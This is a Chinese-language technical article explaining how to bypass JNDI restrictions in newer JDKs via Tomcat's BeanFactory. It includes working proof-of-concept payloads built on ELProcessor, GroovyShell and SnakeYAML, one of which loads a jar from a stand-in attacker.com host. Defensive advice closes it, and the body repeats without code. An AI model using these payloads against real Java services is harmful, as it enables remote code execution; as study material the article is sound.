高版本 JNDI 限制 Bypass:攻击路径挖掘与利用
字数 1525 2025-08-29 08:30:13

高版本JNDI限制Bypass:攻击路径挖掘与利用技术分析

前言

JNDI (Java Naming and Directory Interface) 漏洞是Java框架中一个非常有效的远程代码执行(RCE)漏洞。随着JDK版本的提高,Oracle对JNDI注入漏洞实施了一系列防护措施,特别是在高版本JDK中限制了远程类的加载。本文将详细分析高版本JDK下的JNDI利用绕过技术。

高版本JNDI限制分析

在JDK高版本中,主要的限制体现在javax.naming.spi.NamingManager#getObjectInstance方法中:

  1. 禁止从远程代码库加载类
  2. 限制了可实例化的对象类型

传统利用方式如直接加载远程恶意类已不再可行,因此需要寻找新的攻击路径。

绕过原理与技术路线

核心绕过思路

利用工厂类的getObjectInstance方法作为跳板,寻找可以间接执行代码的途径。关键点在于:

  1. 找到一个可利用的工厂类
  2. 该工厂类的getObjectInstance方法存在可利用的逻辑
  3. 能够通过参数控制执行流程

关键类:BeanFactory

BeanFactory成为高版本绕过的重要突破口,其getObjectInstance方法的工作流程如下:

  1. 检查传入的obj是否为ResourceRef类型
  2. 获取目标类并进行加载和实例化
  3. 解析forceString属性
    • 查找setter方法
    • 将显式指定的setter方法存入forced映射
  4. 遍历调用setter方法

利用点:通过控制setter方法的调用,可以间接执行恶意代码,且这些setter方法只能接受String类型的参数。

具体利用技术

1. ELProcessor利用

目标类javax.el.ELProcessor

可利用方法

public Object eval(String expression)

利用条件

  • 可以执行EL表达式
  • 只需要传入String参数

POC示例

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

调用栈

  1. BeanFactory.getObjectInstance()
  2. ELProcessor.eval()
  3. 执行EL表达式弹出计算器

2. GroovyShell利用

目标类groovy.lang.GroovyShell

可利用方法

public Object evaluate(String script)

利用条件

  • 可以执行Groovy代码
  • 只需要传入String参数

POC示例

ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", "''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"calc\"]).start()')"));

调用栈

  1. BeanFactory.getObjectInstance()
  2. GroovyShell.evaluate()
  3. 执行Groovy代码弹出计算器

3. SnakeYAML利用

目标类org.yaml.snakeyaml.Yaml

可利用方法

public Object load(String yaml)

利用条件

  • 需要SnakeYAML库存在
  • 可以利用YAML反序列化漏洞
  • 只需要传入String参数

POC示例

ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=load"));
ref.add(new StringRefAddr("x", "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com/yaml-payload.jar\"]]]]"));

验证方式
可以通过DNS查询验证漏洞是否存在,观察是否有DNS查询请求发出。

防御建议

  1. 升级JDK:使用最新版本的JDK,并确保安全补丁已应用
  2. 输入验证:对所有JNDI查找输入进行严格验证
  3. 安全配置
    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.cosnaming.object.trustURLCodebase=false
  4. 最小权限原则:限制应用程序的运行权限
  5. 依赖管理:移除不必要的依赖,特别是SnakeYAML等可能被利用的库

总结

高版本JDK下JNDI注入的利用虽然受到限制,但通过精心构造的攻击链仍然可以实现RCE。本文详细分析了三种有效的绕过技术,安全团队应充分了解这些攻击技术以构建更完善的防御体系。

高版本JNDI限制Bypass:攻击路径挖掘与利用技术分析 前言 JNDI (Java Naming and Directory Interface) 漏洞是Java框架中一个非常有效的远程代码执行(RCE)漏洞。随着JDK版本的提高,Oracle对JNDI注入漏洞实施了一系列防护措施,特别是在高版本JDK中限制了远程类的加载。本文将详细分析高版本JDK下的JNDI利用绕过技术。 高版本JNDI限制分析 在JDK高版本中,主要的限制体现在 javax.naming.spi.NamingManager#getObjectInstance 方法中: 禁止从远程代码库加载类 限制了可实例化的对象类型 传统利用方式如直接加载远程恶意类已不再可行,因此需要寻找新的攻击路径。 绕过原理与技术路线 核心绕过思路 利用工厂类的 getObjectInstance 方法作为跳板,寻找可以间接执行代码的途径。关键点在于: 找到一个可利用的工厂类 该工厂类的 getObjectInstance 方法存在可利用的逻辑 能够通过参数控制执行流程 关键类:BeanFactory BeanFactory 成为高版本绕过的重要突破口,其 getObjectInstance 方法的工作流程如下: 检查传入的 obj 是否为 ResourceRef 类型 获取目标类并进行加载和实例化 解析 forceString 属性 查找setter方法 将显式指定的setter方法存入forced映射 遍历调用setter方法 利用点 :通过控制setter方法的调用,可以间接执行恶意代码,且这些setter方法只能接受String类型的参数。 具体利用技术 1. ELProcessor利用 目标类 : javax.el.ELProcessor 可利用方法 : 利用条件 : 可以执行EL表达式 只需要传入String参数 POC示例 : 调用栈 : BeanFactory.getObjectInstance() ELProcessor.eval() 执行EL表达式弹出计算器 2. GroovyShell利用 目标类 : groovy.lang.GroovyShell 可利用方法 : 利用条件 : 可以执行Groovy代码 只需要传入String参数 POC示例 : 调用栈 : BeanFactory.getObjectInstance() GroovyShell.evaluate() 执行Groovy代码弹出计算器 3. SnakeYAML利用 目标类 : org.yaml.snakeyaml.Yaml 可利用方法 : 利用条件 : 需要SnakeYAML库存在 可以利用YAML反序列化漏洞 只需要传入String参数 POC示例 : 验证方式 : 可以通过DNS查询验证漏洞是否存在,观察是否有DNS查询请求发出。 防御建议 升级JDK :使用最新版本的JDK,并确保安全补丁已应用 输入验证 :对所有JNDI查找输入进行严格验证 安全配置 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.cosnaming.object.trustURLCodebase=false 最小权限原则 :限制应用程序的运行权限 依赖管理 :移除不必要的依赖,特别是SnakeYAML等可能被利用的库 总结 高版本JDK下JNDI注入的利用虽然受到限制,但通过精心构造的攻击链仍然可以实现RCE。本文详细分析了三种有效的绕过技术,安全团队应充分了解这些攻击技术以构建更完善的防御体系。